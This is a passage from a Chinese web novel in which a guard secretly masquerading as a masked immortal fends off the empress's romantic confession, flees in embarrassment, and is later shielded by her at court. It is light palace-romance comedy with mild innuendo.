他总是想辞官回去当纨绔,却接连将自己从生死危机中解救出来。
他明明有惊世之才,逆天的修为,但对自己一直忠心耿耿,甚至自己发飙的时候总是诚惶诚恐。
以他的修为,完全可以暗中对付自己,甚至取而代之....
但他没有,就像书里那个‘林枫’对‘大乾女帝’一样,用他自己的方式,对自己默默守护...
……
点点滴滴,汇聚成流,早已在她心底冲开了坚固的堤防。
她想着,环抱着他腰身的手臂,不由自主地又收紧了些,仿佛要将自己嵌入他的骨血之中。
汲取那份让她安心、又让她心慌意乱的温暖与力量。
而被她紧紧抱住的江凡,此刻却是另一番天翻地覆的感受。
温香软玉在怀,女子特有的柔软曲线与幽兰体香无孔不入,冲击着他所有的感官。
萧璇月本就姿容绝世,身为帝王更养出了一身尊贵雍容的独特气质。
此刻卸下防备,主动投怀,那份惊人的魅力与冲击力,对江凡这个两世为人的‘理论派’而言,简直是核弹级别的杀伤力!
他只觉得浑身血液都往头顶和某个不可言说的部位冲去,面具下的脸烫,心脏狂跳得快要从嗓子眼里蹦出来,四肢百骸僵硬得连指尖都无法动弹。
脑子里只有一个念头在疯狂刷屏:要**要**!
女帝抱我了!
她又抱我了!
这这这…这成何体统!
我是逍遥公子,她是女帝!
这这这…这算怎么回事?
他前世虽对岛国影视有资深研究,自诩理论知识丰富,可何曾有过被如此绝色女子、还是身份尊崇的女帝主动投怀送抱的实战经验?
更何况,这女子还是他潜意识里早已动心却不自知的对象!
此刻被她这么紧紧一抱,那压抑在心底、被各种顾虑和‘人设’强行**的情感,瞬间有了喷发的迹象。
“平心而论…萧璇月无论是容貌、气质、才情、身份…都是世间顶尖,**挑一…”
一个微弱的声音在他心底响起,带着一丝悸动和…渴望。
哪个正常男人面对这样的女子主动示好,能完全无动于衷?
更何况,他还看过、碰过人家…
虽然是为了疗伤。
可另一个更响亮的声音立刻反驳:
“动心个屁!她是女帝,你是冒牌货!她喜欢的是‘逍遥公子’,是那个陆地神仙,不是你江凡!
一旦身份暴露,萧璇月会不会愤怒?赶紧推开!保持距离!别忘了你有未婚妻,还有…塔娜!”
想到塔娜那悲戚绝望、攥着破碎玉簪痛
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哭的模样,江凡心中瞬间冷静了不少。
塔娜的情意,他无法回应,却也无法完全无视。
而眼前女帝的深情,更是他承受不起的重担。
萧璇月喜欢的是自己的‘师尊’,而不是自己,不能沦陷!
“陛、陛下…”
他感觉自己的声音干涩,“时、时候不早了,老夫…老夫真的要回去了。”
他试图打破这令人窒息的暧昧氛围,提醒自己也提醒女帝注意分寸。
萧璇月却仿佛没有听见,或者说,她根本不在意。
她将脸更紧地贴在他的胸口,贪婪地汲取着他身上那带着一丝阳光味道的气息,听着那紊乱的心跳,心中越发笃定,也越发柔软。
她猜测,他这般急切地想走,恐怕与他那‘陆地神仙’的修为状态有关,或许真的有时间限制。
这更让她心疼,也让她不舍。
她微微仰起脸,因为紧贴着他胸膛,声音显得有些闷:
“前辈,你回答朕。你心里…到底有没有朕?哪怕…只有一点点,一瞬间的动心?”
她顿了顿,语气带上了一丝狡黠:
“朕离你的心这么近,你不准…也不能骗朕哦。”
这近乎耍赖又直接的问题,让江凡最后一丝理智的防线也岌岌可危。
骗?怎么骗?
在她面前,在这几乎零距离的接触下,他感觉自己所有的伪装都变得苍白无力。
那剧烈的心跳,那无法掩饰的身体僵硬,那紊乱的气息…哪一样不是证据?
他沉默了良久,才带着无奈与叹息。
“陛下天姿国色,风华绝代,更是仁德勤政的明君。老夫…亦是血肉之躯,岂能全然无心?陛下对老夫之心意,老夫…并非毫无所觉,亦非…毫无触动。”
萧璇月的心脏猛地一跳,一股巨大的喜悦瞬间涌遍全身,几乎要让她眩晕!
他承认了!
他承认对自己并非毫无感觉!
这简直比打赢一场胜仗,比杀了靖王都让她欣喜若狂!
她忍不住抬起头,想要看清他面具下的眼睛,想要确认那份‘触动’到底有多深。
然而,江凡接下来的话,却像一盆冷水,兜头浇下。
第198章 以什么身份
“但是,”
江凡语气转冷,仿佛在说服她,更在说服自己,
“请陛下趁早放弃此念。老夫与陛下,绝无可能。老夫闲云野鹤,孑然一身,此生早已注定漂泊。
受不得这深宫束缚,更担不起帝王之情的千钧重担。陛下之厚爱,老夫愧不敢受,亦…无法承受。”
萧璇月眼中的光芒黯了黯,但并未熄灭。
她早就料到他会拒绝,会有顾虑。
这混小子,还不知道自己已经知道他**。
她在乎的,是他承认‘并非毫无触动’。
这就够了!
只要他心里有她,哪怕只有一点点,她就有信心,也有耐心,去融化他所有的顾虑,去等他自己走到她面前。
“前辈何必把话说得这么绝对?”
她非但没有松开手,反而将手臂又收紧了些,声音轻柔却坚定,
“朕说过,喜欢的是前辈这个人。是你救了朕两次,是你暗中为朕做了那么多——
通过话本稳固朕的皇权,提升民生,提供高产的种子,改良农具,还有那些生财的秘方,强兵的利器…
一桩桩,一件件,朕都记在心里。没有前辈,朕和大夏早就撑不下去了。”
她抬起头,目光灼灼地望进那双面具后的眼眸,语气郑重:
“前辈,你记住朕今天的话。无论你是什么身份,是高高在上的陆地神仙,还是…其他什么人;无论你年纪几何,相貌如何;甚至…无论你此刻是真是假,是人是鬼。”
她刻意加重了最后几个字,看到对方身体一僵,心中暗笑,面上却依旧深情款款,
“朕喜欢的,就只是你、只有你!是这个会救朕、会帮朕、会让朕心动、也让朕心疼的人。朕希望…
总有一天,你能亲口告诉朕,你的**,能亲手摘下面具,看着朕的眼睛,对朕说,你也喜欢朕。”
这番话,如同箭矢,精准地射中了江凡心中最隐秘的角落!
身份!年纪!相貌!
甚至…真假!
她几乎把所有的可能性都点到了!
尤其是那句‘无论你此刻是真是假’,简直让他心跳加快!
难道…她知道了什么?
还是在试探?
不可能,自己伪装这么好,而且在很多供奉监视下,应该早就洗清嫌疑了。
那萧璇月是真的喜欢‘逍遥公子’这个人,不仅仅是因为陆地神仙的修为?
可是...若她知道‘逍遥公子’是她身边的侍卫江凡,会不会羞愤之下跟自己拼命?
这画面想起来都可怕!
巨大的恐慌和不知所措瞬间笼罩全身,让他几乎要落荒而逃。
他猛地用力,想要挣脱她的怀抱,声音带着慌乱和气急败坏:
“陛下慎言!老夫…老夫长得奇丑无比,年纪也好几百岁,更不可能有陛下说的那一天!
陛下还是趁早**这条心,去寻一个真正年轻俊杰、门当户对之人,方是正理!”
看着他这副急于撇清、口不择言的模样,萧璇月心中又是好笑,又是酸楚。
这个傻瓜,到现在还在嘴硬,还在用这种拙劣的借口来推开她。
可她偏偏就爱极了他这副慌乱无措、却又透着真诚的样子。
“哼!”
她忽然冷哼一声,松开了环抱着他腰身的一只手,在江凡还没反应过来她要做什么时,飞快地张开嘴,对着他的小臂咬了下去!
“哎哟!”
江凡猝不及防,痛呼出声!
饶是他此刻拥有陆地神仙的修为,肉身强横。
可女帝这一口咬得突然,又是用了些力气的,再加上他心神大乱,毫无防备。
顿时觉得一阵刺痛传来,忍不住倒吸一口凉气。
“你、你属狗的?”
他不用看都知道一定留下了深深的牙印,又惊又怒,又觉得荒谬绝伦。
女帝会咬人?
这事说出去谁信?
这、这成何体统!
萧璇月抬起头,俏脸微红,眼中却闪烁着得意的光芒,还故意舔了舔唇边,哼道:
“这是朕给前辈盖的印!最后一次,朕主动邀请前辈,前辈却执意要走的惩罚!也是提醒前辈,记住朕说的话,记住朕的心意!
希望下次见面,是前辈主动来找朕,而不是朕这般…‘不知羞耻’地强留。”
她这番话,半是娇嗔,半是认真。
她就是要在他身上留下印记,让他时刻记得今夜,记得她的心意,记得她还在等他。
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江凡看着她这副又娇又蛮的模样,心头浮现出无奈和一丝悸动。
这女人…还真是让人拿她没办法。
可他心里却涌起一股冲动,有一瞬间想直接坦白身份...
“陛下…”
他试图说些什么,却被萧璇月打断。
“前辈,”
她收敛了笑意,目光变得幽深,轻声问道,
“你…真的忍心,看着朕与别人成亲吗?嫁给一个你不认识、不喜欢的男人,与他同床共枕,生儿育女,共治这大夏江山?”
江凡心头猛地一揪!
想到那个画面——萧璇月凤冠霞帔,巧笑倩兮,却依偎在另一个男人怀中;
想到她会对别人展露温柔,会对别人倾诉心事,甚至…
他胸口一阵莫名的窒闷与刺痛,一股强烈的情绪瞬间从心中升起,那是一种…占有欲!
他几乎是不假思索地,脸色一沉,声音有些愤怒:
“陛下何必如此作贱自己?!”
“作贱?”
萧璇月眼中水光一闪,语气却带着一种破釜沉舟般的凄然,
“如果那个人不是前辈,那对朕来说,是谁…又有什么分别?反正前辈不要朕,也不准你那徒弟娶朕,那朕便找别人好了。
明日朕就下旨,广选天下俊杰,充实后宫,选他十个八个年轻力壮、才貌双全的,总有一个能让朕忘了前辈,也让前辈…眼不见为净!”
“十个八个?胡闹!”
江凡低喝一声,胸口那股无名火越烧越旺,甚至盖过了对身份暴露的担忧。
他几乎能想象出那‘选妃’的场面,想到会有无数男人用觊觎的目光看着萧璇月,而她可能会对其中某人展露笑颜…
这画面让他极度不适,甚至有种想打她屁股的冲动。
“陛下乃一国之君,婚姻大事,关乎国体,岂可如此儿戏!更不可因一时意气,说出此等荒唐之言!”
“那前辈要朕如何?”
萧璇月步步紧逼,眼中带着泪光,却倔强地不让它落下,
“前辈既不愿娶朕,又不许朕嫁给你徒弟,如今连朕选妃也要管吗?前辈以什么身份来管朕?
是朕的救命恩人?还是…心里其实有朕,却不敢承认的…胆小鬼?”
第199章 就当一场梦
“我…”
江凡被她逼得节节败退,词穷理屈。
是啊,他以什么身份?
逍遥公子?
一个‘方外之人’,有什么资格干涉女帝的婚姻?
还是坦白自己就是镇国公世子江凡?
如果发现喜欢的前辈,其实是前辈的徒弟,女帝会不会羞愤交加,跟自己拼命?
可不坦白,他就是控制不住那翻腾的醋意和怒火,就是无法忍受她嫁给别人的想法!
他猛地意识到,原来自己对女帝是有想法的。
突然,他感受到自己体内那股浩瀚的陆地神仙之力,正在缓缓消退!
【体验卡】的时间,快到了!
必须立刻离开!
否则一旦力量散尽,他连维持这身伪装和气场都难,极易暴露!
巨大的危机感瞬间压过了醋意和怒火,他深吸一口气,强行让自己冷静下来,语气急促而强硬:
“陛下!老夫并非不许,只是眼下局势动荡,靖王未除,强敌环伺,大夏内忧外患,正值用人之际,亦是危急存亡之秋!
陛下当以国事为重,集中精力,应对危局!待朝局稳定,四海升平,陛下若还想选妃,那时…再议不迟!”
他这番话,看似冠冕堂皇,为国着想,实则已是变相的退让和拖延。
这细微的变化,如何能逃过萧璇月的耳朵?
她眼中瞬间迸发出惊喜的光芒,他让步了!
这意味着什么?
意味着他是在意的!
他不想她选妃!
这对他而言,已是极大的突破!
“好!朕听前辈的!”
萧璇月立刻顺杆爬,脸上绽放出笑容,那笑容带着得逞的狡黠和满心的甜蜜。
“那就等朝局稳定,等前辈…觉得合适的时候,朕再考虑选妃之事。不过,在那之前,前辈可不许再躲着朕,也不许再说那些让朕伤心的话了!”
她说着,趁江凡因体内力量急速消退、心神不宁的刹那,忽然踮起脚尖,飞快地在他的青铜面具上,印下了一个轻柔的吻。
“啵~”
一声轻微却清晰的声响,在寂静的寝殿内响起。
江凡如遭雷击,整个人彻底石化!
尽管隔着面具,依然让他灵魂震颤。
他瞪大眼睛难以置信地看着近在咫尺、双颊绯红、羞怯中带着大胆与得意的绝美容颜,大脑一片空白。
萧璇月亲完,自己也羞得不行,立刻松开手,向后退了一小步,转过身去,只留给他一个微微颤抖的纤细背影。
她双手紧张地绞在一起,声音带着一丝颤抖,却异常坚定地响起:
“这…这是利息!朕、朕已经是前辈的人了!从崖底那夜开始,就是了!前辈要是敢不要朕,或者…或者背地里去娶了别的女子,那朕…朕就下旨选妃!说到做到!”
她又顿了顿,似乎想起什么,声音忽然低了下去,带着娇羞和促狭,补充道:
“而且,前辈方才…可一点都不像活了几百岁、看破红尘的老古董呢。老当益壮…哼。”
江凡先是一愣,随即猛地意识到什么,下意识地低头看向自己身下…
只见那长衫下摆处,不知何时,已然支起了一个尴尬无比的‘小帐篷’!
“我去——!”
江凡只觉得全身血液瞬间冲上头顶,脸色在面具下红了又白,白了又青,恨不得立刻找条地缝钻进去,或者当场自爆以谢天下!
他…他居然…居然在这种时候,可耻地起了反应!
还被女帝发现了!
什么陆地神仙、什么世外高人、什么看破红尘!
这一刻,全成了笑话!
他苦心经营、战战兢兢维持的‘逍遥公子’人设,在这一刻彻底崩塌!
他再也顾不上任何风度、任何说辞,猛地转身,身形一晃,化作一道残影,仓皇无比地撞开窗户,瞬间消失得无影无踪。
那速度,比他来时快了何止十倍!
寝殿内,重归寂静。
只有被撞开的窗户还在轻轻摇晃,发出‘吱呀’的轻响。
良久,背对着窗户的萧璇月,才慢慢转过身来。
她眼角渗出的泪花,那是释然,是欣喜,是苦尽甘来,是窥见希望的幸福。
“这个傻瓜…江凡…”
她望着那扇兀自晃动的窗户,低声呢喃,语气中充满温柔与笃定,
“看你能装到什么时候…朕等着你,自己走到朕面前,亲口告诉朕一切的那一天。”
窗外,夜凉如水,星河璀璨。
江凡以平生最快的速度逃回镇国公府那处僻静小院。
直到关上房门,他才感觉那股羞耻感和慌乱稍稍
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退去。
心中充满说不清道不明的的奇异感觉。
他喘着粗气,试图让思绪清晰一些。
“我…我刚才…居然又…”
他低头,看向自己月白长衫下摆——那里早已恢复了平静。
可女帝那句‘老当益壮’的调侃,在他脑海中反复回放,每一次都让他面红耳赤,恨不得当场去世。
更让他心惊肉跳的,是女帝最后那番宣言——
“朕已经是前辈的人了!”
“前辈要是敢不要朕,或者背地里去娶了别的女子,那朕…朕明日就下旨选妃!”
霸道,娇蛮,却又带着一种不顾一切的执着和深情。
就因为崖底疗伤看了身子?
还是因为自己陆地神仙的实力?
而最要命的是,他发现自己…似乎并不反感,甚至…心底深处,还有一丝悸动和…窃喜?
“江凡!你清醒一点!”
他猛地给了自己一巴掌,
“她是女帝!是大夏天子!她喜欢的是‘逍遥公子’!是那个陆地神仙修为、神秘莫测的前辈高人!不是这个整天想着偷懒保命的纨绔世子!”
“你跟女帝成亲?开什么国际玩笑!那是自寻死路!进了宫,你就彻底没了自由!天天早起上朝,批阅奏折,面对一群老狐狸勾心斗角,说不定还得应付三宫六院…
呸,就算女帝不纳妃,但规矩肯定多如牛毛!想睡懒觉?想溜出去听曲喝酒?想三妻四妾?想去百花楼找柳絮打听消息?做梦吧!
而且,最重要的是,她心里装的可是‘逍遥公子’,万一哪天她发现你就是个冒牌货,修为是假的,年纪是假的,一切都是假的…那后果…”
江凡越想越觉得前途一片黑暗,刚刚那点悸动瞬间被现实的浇灭。
对,不能动心!
绝对不能!
女帝再好,那也是镜花水月,是裹着蜜糖的**,碰不得!
他只想当个逍遥自在的咸鱼,赚赚人气值,提升实力,保护好自己在乎的人。
顺便在不危及自身的情况下,帮女帝稳定一下朝局,对付一下靖王,就算对得起穿越一场了。
至于感情…尤其是跟女帝的感情,那绝对是禁区中的禁区!
“睡觉!明天还要当值!就当今晚是做了一场荒唐的梦!对,是梦!”
第200章 有什么想法
江凡胡乱换上普通的寝衣,一头栽倒在床上。
然而,越想忘记,记忆却越是清晰。
女帝扑入怀中时的柔软与馨香,她仰起脸时眼中闪烁的泪光与执着,她踮起脚尖亲吻面具时那微凉的触感和滚烫的呼吸...
如同走马灯般,在他紧闭的眼前反复上演。
心跳,又不争气地加快起来。
“造孽啊…”
他在被子里发出绝望的呻吟,辗转反侧,不知过了多久,才在极度的精神疲惫和混乱中,迷迷糊糊地睡去。
……
这一觉,注定睡不安稳。
光怪陆离的梦境交织,一会儿是女帝穿着凤冠霞帔,笑着对他说‘朕已经是前辈的人了’,一会儿是塔娜公主攥着破碎的玉簪,在空旷的大殿中无声痛哭。
一会儿又是靖王带着一个面目模糊、气息恐怖的身影杀入皇宫…
最后,梦境定格在给女帝疗伤的画面,而他低头看到自己那尴尬的‘帐篷’…
“啊!”
江凡猛地惊醒,坐起身,额头上已是一层冷汗。
窗外天光已然大亮,刺目的阳光透过窗棂照射进来。
“糟了!什么时辰了?!”
他一个激灵,连忙跳下床,手忙脚乱地套上衣服,也顾不上洗漱,连忙朝着皇宫方向狂奔。
等他气喘吁吁地赶到皇宫,来到举行朝会的太和殿外时,里面早已传来了文武百官议事的声音,显然朝会已经开始多时了。
殿外值守的侍卫和太监看见他,眼神都有些古怪。
但碍于他金刀侍卫的身份,也不敢多问。
江凡心里叫苦,硬着头皮,尽量放轻脚步,沿着殿侧的阴影,想悄无声息地溜到御阶之上,女帝龙椅侧后方的位置——
那是他作为‘贴身’金刀侍卫的固定站位。
然而,他低估了自己迟到的影响,也低估了某些人‘找茬’的敏锐。
就在他猫着腰,快要蹭到御阶旁时,一个带着愤慨的声音骤然在肃穆的大殿中响起:
“陛下!臣有本奏!”
江凡脚步一僵,心中暗叫不妙。
只见文官队列中,一名穿着绯袍、面白无须、眼神锐利的御史大步出列,手持玉笏,声音洪亮,瞬间吸引了所有人的目光。
他目光直直射向刚刚溜到御阶旁、还没来得及站定的江凡,厉声道:
“陛下!御前金刀侍卫江凡,职责乃是护卫圣驾,理应于朝会之前,便至殿外候驾,随侍君前!
然今日朝会已开近一个时辰,江侍卫方才姗姗来迟,且行踪鬼祟,意图掩人耳目!此乃严重懈怠职守,目无法纪,更是对陛下之大不敬!臣恳请陛下,依律严惩,以正朝纲,以儆效尤!”
这御史的话顿时引起不少人的认同,纷纷点头。
不少官员的目光都投向了僵在御阶旁的江凡,眼中带着审视、不满、或幸灾乐祸。
江凡近日晋升过快,又是镇国公之子,本就引人注目。
加之其以往‘纨绔’名声在外,不少清流官员和看他不顺眼的人,早就想找机会**了。
今日他撞到枪口上,岂能放过?
江凡心里把那个御史的祖宗十八代都问候了一遍,脸上却只能强作镇定,心中飞快思索着如何辩解。
说自己睡过头了?
那简直是找死。
说路上遇到急事?
什么急事能比上朝护卫皇帝更重要?
一时之间,竟有些词穷。
就在他头皮发麻,准备硬着头皮请罪时,御座之上,一直沉默的萧璇月,忽然开口了。
“王御史所言,朕已知晓。”
那王御史精神一振,正要再慷慨陈词,却听女帝话锋一转,语气淡然:
“然,江侍卫今日迟来,非是懈怠,乃是朕昨日另有密旨,命其夜间出宫,办理一桩紧要之事。此事关乎机密,不便详述。
江侍卫奉命行事,彻夜奔波,清晨方归,稍有迟误,情有可原。此事,朕准其将功折过,不予追究。”
此言一出,满殿皆静。
王御史张了张嘴,脸上闪过一丝错愕与不甘。
陛下这维护之意,也太过明显了吧?
什么密旨、紧要之事、彻夜奔波,分明是借口!
可陛下金口玉言,说是密旨,那就是密旨,谁还敢追问细节?
那不是自找没趣,甚至可能触怒天颜吗?
其他官员也是面面相觑,心中各有思量。
看来,这位江世子,不,是江金刀,圣眷之浓,远超想象啊!
连如此明显的过错,陛下都能轻描淡写地遮掩过去,甚至亲自为其开脱。
这背后意味着什么?<
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br>江凡自己也愣住了。
他愕然抬头,望向御座之上。
萧璇月端**,凤冠珠帘微微晃动,遮住了她大半面容。
她似乎并未看他,目光平静地扫过下方众臣,仿佛刚才只是说了一件微不足道的小事。
一股感动瞬间涌上江凡心头。
先是松了口气,随即便是浓浓的…不是滋味。
女帝这是在维护他。
可为什么维护他?
是因为他是镇国公之子?
还是因为他‘师尊’逍遥公子的面子?
他脑海中不由自主地闪过女帝对‘逍遥公子’的深情告白,心中那点因为被维护而产生的暖意,瞬间被一种莫名的酸涩和取代。
是了,她定然是看在‘师尊’的面子上,才如此维护自己这个‘徒弟’的。
爱屋及乌嘛。
她为了逍遥公子,才包庇一下‘徒弟’的小小过失?
“原来如此…是师娘在照顾徒弟啊…”
他在心中自嘲地笑了笑,那股憋闷感却更重了。
自己吃自己的醋,这心情实在酸爽。
朝会继续进行,商议的都是北境军情、南疆动态、国库调度等军国大事,气氛凝重。
江凡虽然站着,心思却早已飘远。
他一会儿想着老爹在北境是否安好,一会儿想着靖王请来的那个‘海外高人’究竟是何方神圣,一会儿又忍不住想起塔娜公主的境遇。
最后,思绪总会不受控制地飘回昨夜凤仪宫中,那令人面红耳赤、心跳失控的一幕幕…
好不容易捱到散朝,江凡跟在女帝的銮驾后面,朝着御书房走去。
云暮侍奉在轿旁,偶尔回头看他一眼,眼中带着一丝了然和促狭?
走到半路,云暮故意放慢脚步,落到与江凡并肩的位置,用只有两人能听到的极低声音,带着笑意问道:
“江侍卫,今日早朝,陛下可是破例维护你了呢。连王御史那般难缠的人都挡了回去。你…就没什么想法吗?”
想法?
江凡心里正烦闷着,闻言没好气地翻了个白眼,声音带着一丝自嘲意味回道:
“我能有什么想法?陛下那是看在我‘师尊’逍遥公子前辈的面子上,照顾一下他老人家的徒弟罢了。毕竟…‘师娘’照顾‘徒弟’,天经地义嘛。”
第201章 恋爱脑严重
江凡声音虽低,但走在前方不远的软轿内,萧璇月的耳朵却微微一动。
她修为不弱,又刻意留意后方,江凡那带着酸味和赌气的话,一字不落地飘入了她的耳中。
软轿内,萧璇月略显疲惫的脸上,瞬间沉了下去!
凤眸之中,一抹怒意迅速涌上心头。
这个混蛋!
榆木疙瘩!
不开窍的猪头!
他居然真以为自己是看在‘逍遥公子’的面子上才维护他?
他居然还一口一个‘师娘’、‘徒弟’?
他难道就一点都感觉不到,自己对他的维护,早就超出了寻常君臣,甚至超出了对‘师尊徒弟’的照拂吗?
他难道就看不出来,自己对他的纵容、信任吗?
这个傻瓜!**!
自己昨晚几乎把心都掏出来给他看了,暗示得不能再明显了,他居然还在那里吃自己的醋?
萧璇月气得牙痒痒,恨不得立刻掀开轿帘,冲出去揪着江凡的耳朵,大声告诉他:
朕喜欢的就是你江凡,不是什么逍遥公子!
你就是逍遥公子,你个自欺欺人的大笨蛋!
但理智终究占了上风。
她深吸几口气,强行将胸中的怒火和委屈压了下去。
不行,现在还不是时候。
靖王虎视眈眈,强敌将至,朝局未稳,自己不能自乱阵脚。
而且…她倒要看看,这个自欺欺人的小混蛋,到底能嘴硬到什么时候!
陪他演下去,看谁先撑不住!
想到这里,萧璇月嘴角勾起一抹弧度。
好啊,既然你觉得朕是‘师娘’,那‘师娘’可要好好‘照顾’一下你这个不听话的‘徒弟’了。
云暮也抬手扶额,感觉江世子没救了。
一路无话,气氛诡异。
到了御书房,萧璇月下了轿,看也没看垂手肃立在一旁的江凡,径直走了进去。
江凡摸了摸鼻子,也跟了进去,心里有点忐忑,不知道女帝听见没有,听见了会不会生气…
呸,她生什么气?
她不是就想当‘师娘’吗?
进入御书房,萧璇月屏退了其他宫人,只留了云暮在一旁伺候。
她走到龙案后坐下,拿起一份奏折,却没有立刻批阅,而是淡淡开口:
“江凡。”
“臣在。”江凡连忙躬身。
“赐座。云暮,看茶,再上些点心。”
萧璇月头也不抬,语气平静无波,仿佛在吩咐一件再平常不过的事情。
江凡一愣。
赐座?看茶?上点心?
这待遇…是不是有点太好了?
虽然他是金刀侍卫,地位特殊,但在御书房内被赐座享用茶点,这可不是一般恩宠。
他心中那点忐忑又冒了出来,连忙推辞:
“陛下,臣站着就好,茶点也不必…”
“朕让你坐,你就坐。”
萧璇月抬眸,扫了他一眼,那目光平静,却带着威严,
“你昨夜奔波,今日又站了许久,想必也乏了。坐下休息,吃点东西。这是…朕赏你的。”
最后几个字,她说得意味深长。
江凡却自动理解为:这是‘师娘’赏‘徒弟’的。
他心中那股酸涩感又冒了出来,甚至带上了一点赌气的成分。
好,你赏,我就受着!
“谢陛下恩典。”
他不再推辞,走到旁边一张锦凳上坐下,腰板挺得笔直,目不斜视。
云暮很快端来了热茶和几样精致的宫廷点心,轻轻放在江凡旁边的矮几上。
江凡看着香茗和点心,却一点胃口也没有。
他干脆眼观鼻,鼻观心,装作没看见,心里却在默默吐槽:
谁稀罕你的茶点,我是那种为五斗米折腰的人吗?
我江凡就是饿死,从这里跳下去,也不吃你一口…
就在他内心戏十足时,萧璇月忽然像是想起了什么,抬眸看向他,语气随意地问道:
“江凡,昨夜…你师尊逍遥公子前辈离开后,可有去寻你?或是…传讯于你?”
江凡心中一凛。
这才分开几个时辰,女帝就忍不住要打听‘师尊’的消息!
他定了定神,恭敬答道:
“回陛下,师尊他老人家昨夜离开皇宫后,确实曾以秘法传音,简单与臣交代了几句。”
“哦?交代了什么?”
萧璇月似乎很感兴趣,身体微微前倾。
“师尊说…陛下似乎对他有些误会,让臣有机会劝劝陛下,莫要执着。
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”江凡硬着头皮说道,
“师尊还说,他年事已高,容颜…因早年修炼不慎,已被毁去,面目狰狞,故而常年以面具遮掩,实是不愿惊扰他人。还请陛下…莫要再对他抱有幻想了。”
他故意将‘逍遥公子’的形象往惨了说,希望女帝能知难而退。
萧璇月心中冷笑:毁容?面目狰狞?
编,继续编!
你江凡那张脸,朕看了不知多少遍,虽算不上绝顶俊美,却也清秀顺眼,哪里狰狞了?
不过,他既然这么说,自己不妨顺着他演。
她脸上适时地露出一丝‘震惊’和‘心痛’,但很快化为更深的‘执着’与‘怜惜’,幽幽叹道:
“原来…前辈竟有如此过往。朕…朕竟不知。可是,容颜美丑,不过皮囊表象。朕在意的是前辈这个人,是他的心,他的情意。
即便前辈容颜有损,在朕心中,他依旧是那个救朕于危难、让朕倾心的逍遥前辈。朕…不会因此就放弃的。”
江凡:“……”
他差点被自己的口水呛到。
这女帝是中了什么邪?
毁容都不怕?
这恋爱脑是不是有点太严重了?
还是说…她真的就只是看中了‘逍遥公子’的陆地神仙修为和神秘背景?
如果‘逍遥公子’失去修为,变成一个普通糟老头子,她还会如此吗?
一个大胆的念头,忽然冒了出来。
他咬了咬牙,决定再下一剂猛药!
“陛下…”他露出为难的神色,声音压得更低,仿佛在透露一个天大的秘密,
“其实…师尊他…并非真正的陆地神仙。”
“什么?”萧璇月‘愕然’抬头,凤眸中满是‘难以置信’。
“师尊的陆地神仙修为…是凭借一件上古流传下来的奇异法宝,强行提升上去的。”
江凡艰难地说道,仿佛在揭露师尊最大的弱点,
“此法宝威能虽大,却有极大限制。每次动用,不仅消耗巨大,且持续时间有限。一旦时间过去,师尊便会…
修为尽褪,恢复成没有半点内力真气的普通老人模样,而且身体会因强行承载超越极限的力量而变得极为虚弱,如同…风烛残年的糟老头子。”
第202章 大宗师初期
他一边说,一边偷偷观察女帝的脸色,希望能看到她眼中的幻灭和退却。
“而且…师尊昨日才告诉臣,那件法宝,似乎因为年代久远,又频繁动用,已然出现了裂痕,恐怕…
最多只能再使用一两次,便要彻底损毁了。届时,师尊他…就真的只是一个手无缚鸡之力、容貌被毁的垂垂老者了。”
江凡说完,心中竟有些忐忑,又有些莫名的期待。
他想看看,当女帝得知她心目中那个强大神秘的‘逍遥公子’,其实只是个依靠外物、随时可能变成废人的‘假神仙’时,会是怎样的反应。
是失望?是嫌弃?
还是…依旧深情不改?
萧璇月静静地听着,脸上有恍然,有心痛,有怜惜,但唯独没有江凡预想中的幻灭与嫌弃。
她现在的表情倒不是装的,而是想起江凡每次用马甲跟自己见面的场景。
原来如此…
难怪他每次出现都那般匆忙,那般急切地想离开;
难怪他对自己‘逼见’的反应那么大,总是各种推脱;
难怪他现在展示的只有宗师修为…
原来,他是依靠一件有使用次数限制、甚至会反噬自身的法宝,才能短暂拥有那般力量。
他每一次以‘逍遥公子’的身份现身救她,都是在消耗那件宝贵法宝的寿命,甚至可能损伤他自己的身体!
想到这里,萧璇月心中有些愧疚和心疼。
这个傻瓜…为了帮她,竟然在背后默默承受着这样的代价和风险?
他却从未对她透露过半句,反而用各种借口推脱、隐瞒,甚至不惜自污形象来让她死心…
她定定地看着江凡,目光深邃,仿佛要将他整个人看穿。
江凡被她看得心里发毛,正想说点什么找补一下,却见女帝忽然展颜一笑。
她缓缓站起身,绕过龙案,走到江凡面前,一字一句,如同誓言,响彻在安静的御书房内:
“江凡,你听好了。回去告诉你师尊,就算他那件法宝此刻已然彻底失效,就算他此刻已经变成一个没有半分修为、容貌被毁、行将就木的糟老头子——”
她顿了顿,目光灼灼,不容置疑:
“朕的心意,也绝不会改变半分。朕喜欢的,是那个在崖底救朕的人,是那个屡次暗中助朕的人。
是那个让朕心动、也让朕心疼的‘逍遥前辈’。而不是什么陆地神仙的修为,更不是一副年轻的皮囊!”
她微微俯身,凑近江凡,压低的声音:
“你若不信,朕现在就可以拟旨,通告天下,言明朕之心迹,此生非逍遥前辈不嫁。无论他是仙是凡,是老是少,是美是丑。朕,说到做到。”
江凡彻底呆住了。
他仰着头,看着女帝那张绝美而认真的脸庞,看着她眼中那炽热情感,大脑一片空白。
她…是认真的。
她不在乎‘逍遥公子’是不是陆地神仙,不在乎他是不是年轻英俊,甚至…不在乎他是不是会变成一个没有修为的糟老头子。
她在乎的,只是‘逍遥公子’这个人。
一股莫名的冲动瞬间将他淹没。
他张了张嘴,却发现喉咙干涩得发不出任何声音,只能怔怔地看着她,仿佛第一次真正认识眼前这个女子。
她不是恋爱脑。
她对‘师尊’…是真心。
江凡的心,彻底乱了。
萧璇月很满意江凡的表情,于是回到书案前继续看奏折。
而江凡则僵硬地坐在锦凳上,他努力将视线集中在面前那杯早已凉透的香茗,或是旁边的点心上。
可眼角的余光,却总是不由自主地飘向龙案之后。
萧璇月已重新拿起朱笔,埋首于堆积如山的奏折之中。
她微垂着头,露出线条优美的脖颈和一小截白皙的侧脸,神情专注而沉静。
她方才那番斩钉截铁、近乎宣誓般的话语,依旧在江凡脑海中轰鸣回荡,震得他心绪难平。
她对‘逍遥公子’的感情,纯粹、炽热、执着得可怕,也沉重得让他几乎喘不过气。
他心情有些复杂,不知道得知‘逍遥公子’就是镇国公世子江凡时,女帝还会不会这么坚定。
或许,连他自己都分不清,在扮演逍遥公子的过程中,有多少是伪装,有多少是…他自己内心深处,也渴望成为的样子?
渴望强大,渴望被依赖,渴望
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能守护些什么…
纷乱的思绪如同乱麻,越理越乱。
他烦躁地想要做点什么来分散注意力,下意识地,将心神沉入了系统空间——
然而,当他的目光触及系统界面上令人目眩的人气值时,整个人瞬间僵住,连呼吸都停滞了一瞬!
【当前人气值:7,350,000/300,000】
